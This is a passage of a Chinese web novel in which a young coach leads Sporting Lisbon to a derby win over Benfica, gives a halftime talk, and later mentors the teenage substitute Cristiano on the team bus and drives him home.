这是安东尼执教以来的第一个要求，显然是不容轻视的。 球员们互相对视一眼，坚定地点了点头。 * 七点整，卢斯球场里亮起灯光，宛如白昼。 裁判领着两队球员进场，在场地中心一字排开，场内顿时迎来山崩地裂的呼喊。 在随后的热身时间，安东尼从通道里走出来，和对方的教练握了握手，对方显然并不将一个年轻菜鸟放在心上，敷衍的问了一句好，很快收回手，朝球队观战席走去。 安东尼并没放在心上，回到己方观战座位的白线内，双手插兜，仰头看向球场，六万两千多个座位此刻坐满了摇旗呐喊的球迷，声势浩大，不禁让人想起战争年代两军对阵的场景。 足球就是和平年代的战争，这句话确实不假。 上一次临危受命，安东尼没来得及感受足球比赛现场带来的震撼，这一次的德比赛事，倒是让他大开眼界，站在球场里，浑身血液汹涌，一股热流在胸口回荡，多年未有的热血激情通过这具年轻的□□，降临在他饱经风霜的灵魂里。 安东尼双手插兜，站在场边看着球场出神，一只手忽然搭在他的肩膀上，后背肌肉一紧，猛地抬手抓住了肩膀上的手，耳边传来一声倒吸声，回过神，松开手，缓缓转身。 一张青涩又熟悉的脸撞进了他的眼里，安东尼的视线扫向他正在揉弄的手腕，腕骨凸起处一片通红，出声问道：“有受伤吗？” “还能活动，应该没事，”克里斯蒂亚诺乖乖回答，似乎看出他眼底的疑惑，又开口道：“教练你最好往里站一站，他们看起来不太友好。” 安东尼闻言抬起头，这才发现自己看向的那片区域扯开了条幅，大约十几米长，两米多宽，黑底红字写满了对他的控诉和辱骂，球迷叫骂竖中指，甚至作势要扔瓶子，喊他滚蛋换帅的声音此起彼伏。 心中好笑的同时，一股愤怒之情油然而生。 既然看不起我，早晚会证明给你们看，到底谁才是真正的赢家。 安东尼对着那片区域笑了笑，为了避免不必要的误伤，他和克里斯蒂亚诺一起走回替补席，肩并肩坐着，一边看首发球员热身，一边闲聊，很快，安东尼就发现了板着脸的小孩，目光总是落在一道身影上。 “米格尔.佩德罗，”安东尼缓缓开口，“他是你欣赏的球员？” “我想踢他的位置。”他说。 米格尔.佩德罗今年十九岁，擅长右脚，跑动速度、带球盘带能力优秀，司职右边锋，前年进入里斯本竞技，现在已经是队内的明星球员，也是安东尼战术阵型中的重要环节。 似乎是意识到自己在口出狂言，克里斯蒂亚诺不好意思的笑了下，露出一口不算整齐的牙齿，吐了吐舌头，“就当我没说过吧教练。” 安东尼收回视线，再次看向场内，语气平静道：“我记忆很好。” 克里斯蒂亚诺不知道如何回应，只能沉默。 很快，裁判吹响了口哨，让热身的球员回到自己的位置，比赛即将开始。 7. 德比中的德比（下） 队长迭戈猜硬币胜利赢得球权，一名中场开出球，裁判吹哨奔跑，球员逐渐散开，这场德比彻底拉开了序幕。 电视里，《里斯本体育》正在转播这场德比，解说员希莱姆讲解葡超比赛十多年，对两个队伍都很熟悉，此刻正跟随现场的镜头讲解双方阵容，一副游刃有余的淡定模样。 “我们可以看到，本菲卡在本场比赛中的首发阵容与上一场对阵一样，场上依旧是注重防守的阵型，看来这位新任主教练非常谨慎，没有改动前任主教练穆里尼奥的执教方案。” “让我们再来看一下里斯本竞技这边的阵容，场上的阵型是.....四四二？” 他语气惊疑不定，再次看了一眼球场上的跑动，似乎看出了一些不同。 “不，这似乎是四三三阵型，荷兰人喜欢用的进攻阵型，以中场和边锋快速配合内切，以及前场高位逼抢而出名，没想到里斯本竞技的新人主教练这么大胆，执教后的第一场比赛就选择了如此激进的进攻阵型。” 还没等希莱姆介绍完两队阵容，球场出现了新的变化。 从里竞发球开始，球权一直掌握在他们的中场手中，三人利用三角进攻不断向前突进，一次传球，前锋迅速拿到球权，和本菲卡的后卫迪奥戈展开激烈的逼抢对峙。 一向擅长防守的本菲卡，还没进入比赛状态，就被里竞突如其来的高速进攻打蒙了，后防线迅速后撤，前线也在向后回放，一时间乱了阵脚，防守阵型露出破绽。 就在这时，佩德罗突然出现在禁区内，迭戈找准机会，送出一脚挑传，佩德罗瞬间加速，甩开身侧两个后卫飞速起跳，一击头球猛锤左下方打门，门将莫拉雷扑身向前。 “哎呀，差一点点！” 解说激动极了，“我们可以看到，刚刚莫拉雷并没有反应过来，球碰巧打在他弹起的小腿上，这真是个没有运气的球！” “不过刚刚的进攻还是非常漂亮的，组织速度非常快，球员们对彼此的位置了解也很清晰，传球非常丝滑，甚至都让我以为他们有第三只眼，能俯瞰整个球场了。” 虽然没有进球，但好歹是开了个好头。 安东尼站在白线边上，神色平静，双手揣兜，握紧又很快松开。 场上里竞的球员心里都有些遗憾，但见场边的安东尼云淡风轻的状态，很快从失落中抽离出来，不断跑动，寻求下一次机会。 很快，下一次机会来了。 对方中场马切尔传球失误，球飞向里竞后场，后卫安德烈回退飞奔，胸口停球接一脚长传，将球送入本菲卡禁区，前锋阿尔贝托看准时机带球突破，躲过一轮逼抢，将球传给上前支援的佩德罗。 后场一空，佩德罗立刻抬脚打门。 “G~~O~~L~~O~~~” 现场立刻沸腾了！ “短短七分钟，里竞总共发起了四次进攻，两次打门，获得一粒宝贵的客场进球！简直是太不可思议了。” “对比本赛季的其他场次，我们可以看出今天的里竞彻底变了，他们变得更具锋芒，看来一个年轻的主教练确实更合适这群年轻的球员。” 和喜欢购买球星填补实力的本菲卡不同，依托强大的青训，里斯本竞技的球员大部分都出自自家，但也因为爱使用青训球员，里斯本竞技的球员普遍年轻化，场上十一个人，只有四名球员超过二十五岁，平均年龄二十二岁，是一只非常年轻的队伍。 年轻的队伍好处很多，例如充沛的体力、争抢球权的热情，但也有一点不好：情绪不够稳定。 第三十分钟，按照战术要求，安东尼举手比了一，示意全员停止进攻，舒缓节奏。 一球优势并不明显，但这里是本菲卡的主场，经过这么长时间的调整，本菲卡的球员已经渐渐找回节奏，场边球迷也在配合节奏加油或嘘声，再强攻下去，里斯本竞技的球员体力就不够支撑下半场的防守战了。 安东尼抬手，示意所有人注意保持球权，缩紧阵型。 见里斯本竞技有正在退缩，本菲卡的攻势变强了些，逼抢球权后带球向前突破，却处处遇阻没有打门希望，一时间也不上前逼近了。 两队就靠着几脚传球互相试探，场面变得消极平缓，看得观众意兴阑珊。 摄像头找到了球场边的安东尼，当一张帅气逼人的脸出现在荧幕上，演播室里的讲说员也不免眼前一亮。 “不得不说，里竞的主教练是我见过足球圈里最帅的存在，足以媲美有英格兰金童美称的大卫.贝克汉姆，难道世界上帅气的男人都出自英格兰？但我相信，就算是大卫，也没有媲美安东尼.斯图亚特的着装品味，我愿意给他的蓝色斜纹领带打九分。” 摄像机足足在安东尼的脸上停留了三十秒，这三十秒，成功拍下了安东尼皱眉的画面，冰蓝色眼底一闪而过的寒意，配合着浓郁的眉眼、高挺的鼻骨，和红润的薄唇，艳色与冷色的极致反差，让他多了股凌然而不可侵犯的神圣味道。 半年后的网络投票中，这个画面，甚至被网友评为葡超赛事的十佳镜头之一，在一众射门视频中简直是格格不入。 在这个绝美画面背后，是安东尼无处隐藏的怒意。 随着时间靠近第四十分钟，里竞的回防越来越松懈，中场几个人跃跃欲试，带球向前突进，后防线几次拉出孔隙。 刚刚打的又急又快，球员们尝到甜头，自然还想要更多。 安东尼没法再吩咐几人加强防守，很显然，有的人心思不在防守上，一味地强势反而会激起球员的逆反心理，于是他选择静观其变。 第四十一分钟，乔安带球突破，本菲卡后卫迪奥戈自侧后方插入，直接抢断，快速回传。 第四十三分钟，保罗在争抢中将球踢出界外，本菲卡中场马尼切一脚开大，将球传到后场。 安德烈试图抢断，用身体挡住本菲卡的皮埃尔，一脚抽射送给卡尔贝托。 阿根廷人很卖力的奔跑，对方两个中场将他拦截在左中路，马尼切抢到球，一脚抽射，打中门框。 前场的若昂迅速接球，一记轻巧回传，甩掉里竞后卫，在禁区接到马尼切斜插传球，抬脚打门。 球越过门将舒梅切尔的头顶，重重砸进球网。 “哔哔——” 上本场结束，本菲卡最后一分钟进了个压哨球，双方1：1打平。 球场边，安东尼看着球员们一个个垂头丧脑从球场里走出来，双臂交叉环抱胸前，目光从每个人脸上扫过，什么也没说。 这种平静、沉默的状态，对因为大意而丢球的球员们来说，反而是最耻辱的。 更衣室内，球员们一边小口嘬水，一边按摩放松肌肉，安东尼拿出战术板，一板一眼讲解下半场的战术，重点强调了下半场优先防守的战术策略。 “上半场我们攻势猛烈，和本菲卡达成平局，这个结果并不好，我相信对方的教练也不会满意，尤其是在对方是主场的情况下，为了能在联赛中积累三分，下半场本菲卡一定会选择强攻。” “本菲卡一向擅长链式防守，进攻是他们的弱项，我们的目标就是利用他们组织进攻的过程，拿到球后尽量长传，让对方锋线不断奔袭，同时尽力拉开对方后卫之间的距离，消耗他们的体能。” 说完，安东尼又点了几个人，让他们注意跑位，上半场好几次造出越位，下半场决不能出错。 直到最后擦干战术板，安东尼抬起头，不少人心里一凛，该来的总算要来了。 几个过于张狂导致失球的罪魁祸首纷纷低下头。 一时间，空气中只剩下沉默。 “在干什么？” 安东尼随口问道。 球员们互相对视了几眼，没有人敢开口触这个霉头，见状，队长迭戈咬了咬牙，率先站出来道歉，“最后那个球是我们失误了，阵型打乱后，被对方找到了漏洞。” 听完迭戈的话，安东尼嘴角的笑容渐渐消失了。 有一种人，他们的长相凌厉，什么都不做就有种不怒自威的气势，而安东尼无疑是此中魁首，笑容满面时就足够令人心颤，更何况彻底失去了笑容。 所有人顿时噤若寒蝉。 “失误？” 安东尼品了品这个词，突然勾唇笑了，笑容充满讽刺意味。 “我没觉得是失误，球场考验的不仅是个人球技、团队配合，还有心理素质。” “你们的傲慢，让你们失去了先机，如果下半场无法拿回比分，那就是输了。” “不要告诉我是个别人的原因，在球场上，没有我，只有我们，一荣俱荣，一损俱损。” “输了就是输了，技不如人，没有意外，没有误会，更没有如果。” “所以下一次，请不要告诉我失球是失误，一切结果都是有原因可循的。”< /p>安东尼的话，让不少心存侥幸的球员陷入沉思。 是啊，如果一个球队总是抱着“我们本来能赢，只是因为.....”这种推卸责任的思维，就永远不会进步。 “上半场，我们输了。” 安东尼干脆利落承认道。 “下半场还想输吗？” “不想。” 年轻的小伙子们纷纷摇头。 “那就给我稳住心态！” 安东尼重重的拍了拍战术板，一字一句道：“不光是你们，俱乐部的每一个人都为这场比赛付出了心血，还有场内的球迷们也是花钱买票，千里迢迢前往球场，就为了看一场精彩的、胜利的足球，而不是因为一时傲慢而失球的草包！” “现在出去，给我踢一场好球，能不能做到？” “能！！！” 承诺震耳欲聋，球员们一个个走出更衣室，仰头挺胸，脸上重现锋芒，只是这一次，眼底的光的多了份内敛沉稳。 安东尼回到指挥席，依旧是双手插兜，静静伫立在白线旁，宛如一座大山，永不动摇。 下半场比赛开始。 双方试探性的传了几脚球后，球场上的战况渐渐显露出来。 安东尼设想的没错，本菲卡确实不愿意在主场留下一个1：1的平局，下半场的攻势逐渐加快，十分钟内，组织起了好几次的进攻，可惜三次打门都擦着门框飞出界外。 “真是可惜。” 球场VIP包厢内，里斯本竞技和本菲卡的主席、董事齐坐一堂，有人发出了一声叹息。 说来有趣，里斯本竞技和本菲卡是同城死敌，球迷敌对情绪高涨，偏偏因为俱乐部曾经一分为二，董事会彼此相熟，氛围出乎意料的和谐。 不过毕竟是俱乐部，暗地里的竞争和比较还是少不了，就像此刻，富瓦克嘴说没说话，心里却偷偷比了个耶，为自家球队喝彩。 所谓外行看热闹，内行看门道，球场内，有人很快就看出了“失误”球的玄机。 男人压下帽檐，露出的嘴角勾了勾，视线看向场边的安东尼。 有趣，通过压缩中场、后卫间的距离，保证每个防守面都会有25米的空间限制，不管是传球还是打门，球员都能迅速赶到制止，这种空间规划和控制的能力，就连最重视防守的意甲也是独一份。 安东尼.斯图亚特。 男人脑中闪过对方主动和自己说话的画面，没想到这一次，换自己被他吸引了。 观众席上，还有一个人脑中全都是安东尼.斯图亚特，这个人就是劳伦佐。 安东尼早上塞进报纸的球票无疑是位置极佳，高度合适的中场，让一个教练观察比赛，再适合不过的位置。 劳伦佐在家思考了一上午，最终还是挡不住看球的诱惑，带着女儿驱车前往卢斯球场，但在比赛开始之前，他的心情是兴奋混杂着担忧的。 在现场看到了太多对安东尼报以的嗤声的球迷，劳伦佐只能暗暗祈祷这场比赛不要输，不能让安东尼成为史上唯一一个，执教了一场比赛就下课的教练。 就在他心怀期许的向上天祈祷的时候，球进了，但里斯本竞技不仅是在分数上领先，更是在持球率、无球跑动等重要数据上领先，最最重要的是，安东尼塑造出了一个进攻效率更高的战术。 关键是进攻猛烈地同时，防守效果一点也没减弱！ 劳伦佐心情复杂的看着不断变化的球场，那些球员带球突破，风驰电掣，看似千变万化，实则每一次进攻都出自安东尼的战术变形。 他还是第一见到有人能将战术发挥到极致，成为赛场上隐形的第十二人。 这个世界果然是年轻人的世界。 当最后的哨声响起，伴随着震耳欲聋的欢呼，劳伦佐脑中浮现出了这句话。 第七十九分钟，本菲卡破门无能，气势渐弱，里斯本竞技趁机开始反击。 第八十三分钟，里竞中场罗德里戈发起进攻，一脚长传将球送入本菲卡的禁区。 里竞三名前锋迅速突破，三个中锋在第二防线等待接应机会，球场形成了四个三角形。 罗德里戈眼神一撇，左脚从左路平传，前锋佩德罗并没停球，没有丝毫犹豫，对准空荡的右侧球门，转身甩腿，凌空抽射！ 拼死坚守四十五分钟后，里竞全员用行动重新诠释了他们确实能踢一场好球。 8. 特别的你 安东尼的首战告捷，于球迷、于俱乐部都是一种莫大的鼓舞。 赛后，葡萄牙的主流媒体都在焦急等待这位年轻的主帅，想要询问对方用了什么方法，在短短几天更改球队战术，踢出了一场漂亮的攻势足球。 就在所有记者思考更犀利的提问时，新闻发布会的大厅外有一道人影闪过，见状，记者们立刻扛着长枪大炮，一把推开门，激动的表情瞬间冷了下来。 “.....嗨。” 助理教练奎西蒙干巴巴的打了个招呼。 另一边，省下应付记者的功夫，安东尼前往更衣室和球员交流比赛情况。 只是还没等他到达更衣室，主席富瓦克将他拦了下来，包厢内的几位董事会成员想要和他聊聊天。 “我以为应付这些股东是你的责任，不是我的。” 听到董事会对他的欣赏，安东尼表现得非常淡然，单手插兜，双脚站在原地，没有迈步的打算。 富瓦克一脸愕然，似乎没想到有人会拒绝董事会的邀请。 他回过神，赶紧补充道：“你不懂，见董事会一面不是这么容易的事情，如果不是因为对手是本菲卡，这些股东根本不会来。” 安东尼低头看了眼手表，黑白长针已经走了一个小格，他漫不经心道：“所以呢？” “所以这是个露脸的好机会啊，”富瓦克上前一步，语气激动，“要是能得到董事会的喜爱，你留在里斯本竞技执教的事就会是轻而易举。” “事实上，你会帮我留在里斯本竞技。” 安东尼一针见血的道破了真相，“我们有协议不是吗？如何讨好董事会让我留下来那是你的事情，与我无关。而且我只要求在这个赛季执教，以后的事情还不劳你操心。” “嘿，只是见一面而已。” 富瓦克表情不满，从早上到现在，安东尼一直都是一种拒不配合的姿态，像这样不愿意和主席搞好关系的主教练，自己还从没见过，富瓦克感觉安东尼通过挑衅自己的权威，正在一步步扩大属于他的威信，偏偏自己又无能为力。 该死的斯图亚特！ 富瓦克嘴角抽动，脸上的笑容逐渐消失，皮笑肉不笑道：“你最好能一直保持胜利。” 安东尼没有回答，朝对方点了点头，扭开门把手，进入更衣室。 一门之隔，屋内完全是另外一个世界。 刚刚赢球，年轻的小伙子们都很兴奋，不少人洗完澡，只在腰间搭了个毛巾就从浴室走了出来，地面全是湿哒哒的水迹，听歌的、唱歌的，还有追逐打闹的，好像是从菜市场里放出了五百只上蹿下跳的鸭子，画面凌乱嘈杂。 随着衣冠楚楚的安东尼进入房间，似乎打破了某种和谐，屋内瞬间安静了。 “啦啦啦~~” 克里斯蒂亚诺手拿毛巾，搓着脑袋上的卷毛，一边哼歌，一边走出浴室，目光微抬，恰好撞上刚进门的安东尼，浑身一僵。 等回过神，立刻扯紧腰间毛巾，螃蟹步一样，一点点挪到队长迭戈身后，小幅度的撮脑袋。 安东尼的视线从棕色小卷毛上移开，看着面前一个个肌肉紧绷，如临大敌的球员们，歪头轻笑了一声。 “我很可怕吗？” 充满磁性的干净嗓音，轻飘飘的在屋内回荡。 哪怕是心里觉得可怕，这个时候谁会直说呢？ 于是大家纷纷摇头，异口同声道：“一点也不可怕。” 安东尼挑眉，“那为什么都安静下来了？” “因为教练你总是穿西装，打扮的很.....高贵不可侵犯，”乔安斟酌道，“不像是我们这个年纪的人。” 也不像是我们这个圈子的人。 乔安隐去了后面那句话，但安东尼已经明白了他的未尽之言，将手从兜里抽了出来，垂下眼，整个人沉默了下来。 众人有些惊慌。 “额，不是，教练你还是很年轻的......” “穿西装也很帅，我特别想变成你这样的成熟男人，这样就不会被女生甩了。” “有时候我都会在球衣外面穿西装......” 大家你一言我一语，试图安慰心里受伤的教练，但因为过于慌张，有人开始口不择言。 安东尼勾了勾唇角，抬起眼，眼底氤氲着淡淡的笑意，没有一丝伤心的成分。 见状，不少人这才反应过来。 他只是在看他们笑话！ 一时间，所有人都打开了话匣子，抱怨起教练的玩笑，但也正是这个小插曲，让更衣室的气氛升温，回到了最初的热闹和谐。 克里斯蒂亚诺站在打闹的人群身后，透过人影的缝隙，看向门边的安东尼。 男人的姿态惬意，肩胛骨抵在门框边，双手交叉，手肘折叠处西装绷出几道利落的褶皱，一条腿因为姿势微微屈膝，西裤笔直垂坠，勾勒出他修长的身形。 有球员和他搭话，他也很好脾气的抬起头，冰蓝色的眼眸投在对方的脸上，睫毛在眼眶下打出一片深邃的阴影，嘴角松弛，随着他开口，洁白整齐的牙齿在唇边若隐若现。 克里斯蒂亚诺的视线从他向后梳得整齐的黑直头发，到紧贴喉结的领带扣，一路下滑，最终停在一双干净明亮的皮鞋上，久久不能回神。 直到上了大巴车，克里斯蒂亚诺坐在后排窗边，望着外面挤在红线后激动不已的球迷出神，身侧忽然多了道影子。 “我能坐在这儿吗？” 低沉磁性的嗓音自头顶传来，克里斯蒂亚诺打了个哆嗦，猛地抬起头，对上一双熟悉的冰蓝色眼眸，顿时怔住了。 没有得到少年的回应，安东尼缓缓挑眉，嗓子里挤出一丝轻音，“嗯？” “啊？嗯，当然能！请坐。” 克里斯蒂亚诺回过神，一把抓起隔壁座椅上的背包，放在自己脚下，动作快速而慌乱。 安东尼看了眼少年脚下半旧不新的挎包，收回视线，坐了下来。 很快，车子起步，朝俱乐部方向驶去。 大巴车摇摇晃晃，前排的球员精力充沛，嬉笑打闹的声音传到了安静的后排，安东尼看了眼前几排闭着眼入睡的面孔，又偏头看了眼自己身侧，少年下意识挺直了身板，像个正在受训的童子军。 “不用这么紧张，”安东尼轻笑了一下，“两个月前还是我和劳伦佐一起去二线队把你调来一线队，我们之间不算陌生对吧？” 克里斯蒂亚诺想起了当时的场景，他正在球场踢一场队内赛，场外忽然一阵骚动，他的眼睛还在盯球，耳朵却飞到了场外，知道一线队教练来观看比赛后，他更加拼命的带球突破，表演了一出精彩的帽子戏法，没有两天他就被告知调到了一线队。 在他踢球的时候，场外似乎有两个人正在交流，当时他来得及看，现在想来，能陪伴劳伦佐前来观赛的，应该只有安东尼.斯图亚特了。 克里斯蒂亚诺紧绷的下颌微微放松了些。 他点点头，“谢谢你的提拔，教练。” 安东尼并不是为了感谢而来的，他重新低头看了眼地上的包，打卷的白色长线在拉链边上若隐若现，开口问道：“你很喜欢的音乐吗？” “还不错？” 克里斯蒂亚诺一脸茫然，似乎不理解为什么话题会突然拐到音乐上，回想起这几天训练结束后，安东尼经常会找球员谈心，今天是轮到他了吗？ 可他只是个替补而已，连上场的资格都没有，哪值得主教练的关注。 少年瘪了瘪嘴，不再说话。 克里斯蒂亚诺性格单纯，情绪写在脸上一览无余，对安东尼来说，就像一张白纸一样好懂，可低落总有原因，对于克里斯蒂亚诺来说，最让他牵肠挂肚的事情是什么呢？ 安东尼思考了一会儿，睫毛快速眨动，抬起屁股，往内侧挪动了两下。 他问：“克里斯，你知道我为什么格外关注你吗？” “.....格外关注我？” 克里斯蒂亚诺扭过头，装作漫不经心的问道。 “当然。” “哦......” 克里斯蒂亚诺沉默了一会儿，忍不住问道：“为什么呀？” 安东尼：“因为你很特别。” “在这里我不算特别。” 少年的语气有些不情愿，似乎在口是心非。 于是安东尼佯装愤怒，语气加重了三分，“谁说的？” “他们都在说。” 克里斯蒂亚诺委屈的抽了抽鼻子，倒豆子一般将流言蜚语都说了出来，“他们说我不够高，也不够壮，跑的再快也会被人绊倒，说我就像是草地里跳来跳去的一根细面条，一碰就断，软弱无能。” 安东尼点了点头，“他们还说你什么？” “太多了，”克里斯蒂亚诺的脸上浮现出羞恼的红晕，愤愤道，“他们说我像个女人一样总是输球后掉眼泪，说我花太多时间洗澡，还还说刮胡子太勤。” “那你也是这 么觉得的吗？”安东尼盯着他的脸，眼睛一眨不眨，“你软弱的像个女人？” “放屁！” 克里斯蒂亚诺爆了个粗口。 他补充道：“我一点也不软弱，而且女人都很强大，就像我的妈妈和姐姐！” “说得对！” 安东尼抬手搓了搓那一头棕色小卷毛，语气充满鼓励和赞叹，再一次问道：“你觉得自己特别吗？” 克里斯蒂亚诺卡顿了一下，眼里的熊熊火光慢慢退却，嘴巴开开合合，说不出话。 特别吗？要是在升入一线队之前，他会毫不犹豫的说，是的，他就是最有天赋的小孩，有一双被上帝亲吻过的灵活的脚，他的盘带能力优秀，奔跑速度惊人，他会是世界上最好的球员。 可升入一线队后，他发现不管是速度、力量、球场理解能力、射门准度还是团队配合，每一个领域都会有一个人比自己做的要好，如果他无法在任何方面做到顶尖，又凭什么会是特别的那个呢？ 克里斯蒂亚诺的眼眸越来越暗，似乎陷入到了某种自我怀疑的思维中，久久不能回神。 直到耳边传来安东尼的笑声，克里斯蒂亚诺猛地抬起头，随意的揉了下泛红的眼角，一字一句问道：“你笑什么？” 面对小孩大胆而直白的不满，安东尼没有任何收敛，向后一倚，后背贴在柔软的椅背上，下颌微扬，明亮的蓝色眼眸带着淡淡的笑意。 “你以为我会说什么？你的速度、力量、还是盘带能力，让你显得特别？” 克里斯蒂亚诺一惊，“难道不是吗？” “是，但不重要，”安东尼凝视着克里斯蒂亚诺，目光专注，“因为我看到了你内在的东西。” “内在？” 克里斯蒂亚诺低头扫视了一眼自己的身体，抬起头，一脸茫然。 “嗯，”安东尼坐直身体，抬手整理歪曲的领带，放下手，看向少年，目光认真，“你有一颗钻石一样坚韧的心。” “天赋能让你变成万里挑一的足球天才，一线队的许多人都有天赋，可不是所有人都能拥有和你一样纯粹的心。” “我能看出来，你是个对未来有野心的孩子，你执着、坚强、努力奋进，虽然偶尔会偷吃糖果，但你尽量早睡早醒，中午按时午睡，不管多累都会完成训练内容，甚至还要额外加训。” “你想要出场，非常迫切，所以在训练的时候，不自觉的和别人比较，如果做的比别人更好，就会在暗地里用一种得意的眼神看向我。” 克里斯蒂亚诺没想到安东尼说他一直在关注自己，原来都是真的。 少年心脏砰砰直跳，激动地快要蹦起来了，压抑住内心的喜悦，抖了抖腿。 安东尼挑眉，“或许下次你可以更大胆些，直接看向我。” “我会的，”克里斯蒂亚诺扬了扬下巴，一脸自得，但很快又想起了什么，抿起唇，“您会给我机会上场证明我自己吗？” 安东尼沉思了一会儿，在克里斯蒂亚诺期待的目光下，摇了摇头。 “不会。” 闻言，那双明亮的、圆溜溜的浅棕色眼眸瞬间黯淡了。 “为什么？” 克里斯蒂亚诺很快抬起头，不死心问道：“您说我很特别不是吗？这么特别的存在，怎么能按在替补席上呢？” 安东尼有些招架不住他小狗一样明亮的眼眸，抬手搓了下鼻尖，避开他的视线，“你得知道克里斯，你还有很多问题。” “比如？” “你还没融入球队。” 安东尼一针见血指出问题。 克里斯蒂亚诺沉默了。 “....这不全是我的错，”他喃喃道，“他们对我不友善。” “是的，我知道。” 安东尼爽快承认了，但是，“这是你自己要衡量的事。” “是保持自我，一直被队友隔离在外，还是思考方法，让自己能被集体接纳，这是你要衡量的。” 这大概就是安东尼想和自己谈的事情了。 克里斯蒂亚诺垂下头，纤长的睫毛轻轻颤动，在鼻骨处投下一片阴影。 少年板着脸沉思，青涩的脸上写满了烦恼，看起来可爱极了。 安东尼手心有些痒，抬手搓了搓他的脑袋，柔软的卷毛在他手心滑过，带来极致舒适的感觉。 他压低声音，磁性的嗓音在安静的车厢里萦绕。 “我对你有更多期望，克里斯蒂亚诺。” 9. 连续惨败 半个小时后，大巴车停在俱乐部门前，球员和工作人员陆陆续续下车，经历了一天的赛事，每个人脸上都写满了疲惫。 安东尼环顾一周，宣布明天上午的训练暂停，引来一阵热烈的掌声和欢呼，他不甚在意的挥了挥手，人群渐渐散去，他转过身，准备返回俱乐部，身后传来一道声音，打断了他的动作。 “教练，”克里斯蒂亚诺看着男人转回身，盯着他的眼睛，认真道：“如果大家愿意给我传球，你会让我上场吗？” 男人站在原地，半响，深深叹了口气。 叹息声在寂静的黑夜里蔓延，克里斯蒂亚诺垂在身侧的手一抖，脖颈依旧高高仰起，直直的盯着面前的男人，期待一个答案。 “这很难，克里斯蒂亚诺。” 安东尼语气平静。 “因为我的身高、体重都不达标？”克里斯蒂亚诺自问自答，“身高一米七八，体重69kg，我比球场上的其他人更瘦小，作为前锋，这样的身体素质不利于门前抢空和身体对抗，但我的弹跳能力足够优秀，盘带速度惊人，这可以弥补我的不足。” “你说得对。” 没等克里斯蒂亚诺露出笑容，安东尼补充道：“但这不够。” “那怎么能够？” “给我个方向，给我个证明自己的方式！” 克里斯蒂亚诺一步步走上前，目光执着。 “求求你相信我，教练，我真的能做好。” 少年在他面前站定，安东尼能感觉到一股炙热的呼吸打在他的下颌，他垂下头，两人四目相对，少年棕色的眼眸，清澈干净，眼底闪烁着一往无前的光芒。 似乎不管什么样的考验，他都能克服。 安东尼沉思了一会儿。 他缓缓开口，“我会让奎西蒙重新给你做一份训练计划。” “谢......” “如果，”安东尼打断了克里斯蒂亚诺的感谢，毫不留情道，“如果你有任何退缩的意图，我会撤回这份特殊待遇。” “绝不会！” 克里斯蒂亚诺信誓旦旦。 得到了想要的结果，克里斯蒂亚诺心满意足，终于能放松下来，他左看右看，这才注意到大家都走光了，俱乐部前空无一人，唯有一盏路灯静静伫立在路边，将刚刚的一切尽收眼底。 一阵微风吹过，克里斯蒂亚诺的脸突然红了。 “怎么了？” 安东尼挑眉。 “不，没事儿，”克里斯蒂亚诺佯装淡定，向后退了两步，鼻尖不自然的抽动，“我得回宿舍了。” 安东尼一脸惊讶，“你住宿舍？” 不怪他吃惊，一线队的球员年薪不低，大部分都搬离了宿舍，像克里斯蒂亚诺这样选择一直住在宿舍的球员简直凤毛麟角。 “是的，我还没拿到正式球员合同，和二线队的队友一起住。” 克里斯蒂亚诺说起这件事脸上明显有些失落，不过很快就恢复过来，提起手里的包，伸手在包里掏来掏去，抓出一只浅褐色的钱包，在安东尼面前晃了晃。 “我去坐地铁了，明天见教练。” 少年转身离开，奔跑的背影在灯光下格外耀眼，安东尼双手插兜，沉思了一会儿，抬起头。 “克里斯蒂亚诺。” 迎着对方疑惑的目光，安东尼抬起手，指了指手腕上的表盘，淡定道：“地铁已经停运了。” “........” 克里斯蒂亚诺刚刚告别的有多潇洒，回来的时候就有多灰溜溜。 “去停车场等我，”安东尼扫了眼三楼办公室的窗户，收回视线，“黑色车子，车牌尾号0808。” 克里斯蒂亚诺点点头。 俱乐部的露天停车场不大，大约能停二三十辆车，走近车位，克里斯蒂亚诺一眼就看见了一辆黑色的轿车。 低调的暗黑色，车体是流线型低背设计，扁长的大灯，银白色羽翼在中央闪烁。 车子停在最角落，似乎很久没开，车身上有许多水渍和落叶，但也难怪，葡萄牙的八月雨水充沛，估计是狂风和暴雨的原因，才让这辆车显得十分狼狈。 但不管如何，也难以掩饰它的价值——这是一辆阿斯顿.马丁。 克里斯蒂亚诺还是第一次离豪华跑车这么近。 他的老家马德拉小岛很贫穷，没人会开豪车，而在首都里斯本，豪车几乎不会停在路边，留给他的印象只有飞驰而过的爆裂声浪。 于是等到安东尼回到停车场时，见到的只有一个俯身趴在车框上的背影。 安东尼：“.......” “滴滴。” 蓝白车灯在黑夜中闪烁两下。 克里斯蒂亚诺刚要后退，一只手从他斜后方伸出，握住门把手，拉开车门。 “进去再看。”他说。 两人坐进车厢内，轿跑的底盘很低，但神奇的是克里斯蒂亚诺并没觉得腿部空间拥挤，他好奇的看着安东尼的手指在中控界面跳跃，不知道按到了哪个键，车子爆发出强大的声浪，屁股下的座椅开始震动。 “它的速度最快有多少？” “301km/h。” “酷——” 克里斯蒂亚诺瞪大了眼睛。 安东尼单手握着方向盘，将车驶向主路，确认道路安全后，偏头看了眼少年，那幅跃跃欲试的表情足以说明他对跑车的热爱。 果不其然，没一会儿的功夫，克里斯蒂亚诺忍不住开口：“教练，你还有别的跑车吗?” “没有，”安东尼诚实道，“我的工资不高，买不起跑车。” “那这辆....” “我父亲送的。” “他对你真好，会给你买礼物。” 克里斯蒂亚诺语气很平淡，没有丝毫艳羡，仿佛只是在陈述事实。 安东尼看了他一眼，不紧不慢道：“这可不是礼物。” 比起礼物，更像是斯图亚特家必须拥有的体面装备，例如车子、西装、房屋....不管他在哪里，都必须要保证自己的装备足够光鲜亮丽，不给家族丢脸。 两人沉默了一会儿，车子驶过熟悉的路口，进入小巷，速度逐渐减慢。 “你住在哪？”安东尼问。 “前面的酒店，”克里斯蒂亚诺解释道，“阿尔科谢蒂学院还没完工，我们暂时被安置在这里。” 安东尼点点头。 车子停在酒店正门口，门前十几层的石阶，通往一个高约三米的旋转门，大堂的水晶吊灯熠熠闪烁。 安东尼偏头打量了两下，见到大堂有一个保安，收回视线，按下开门键。 车门斜斜的向上滑动，画面就像是科幻片里的一样，克里斯蒂亚诺的目光一直停在车门上，就连下车的时候也在看。 安东尼眼底浮现出一丝笑意。 “晚安教练。” 克里斯蒂亚诺在原地站定，乖巧道别。 “晚安，克里斯蒂亚诺。” 安东尼压低声音，黑夜中，温柔磁性的音调仿佛大海中的塞壬，有种奇怪的魔力，让人不自觉想要听从他、相信他。 “好好踢球，你会拥有一切。”他说。 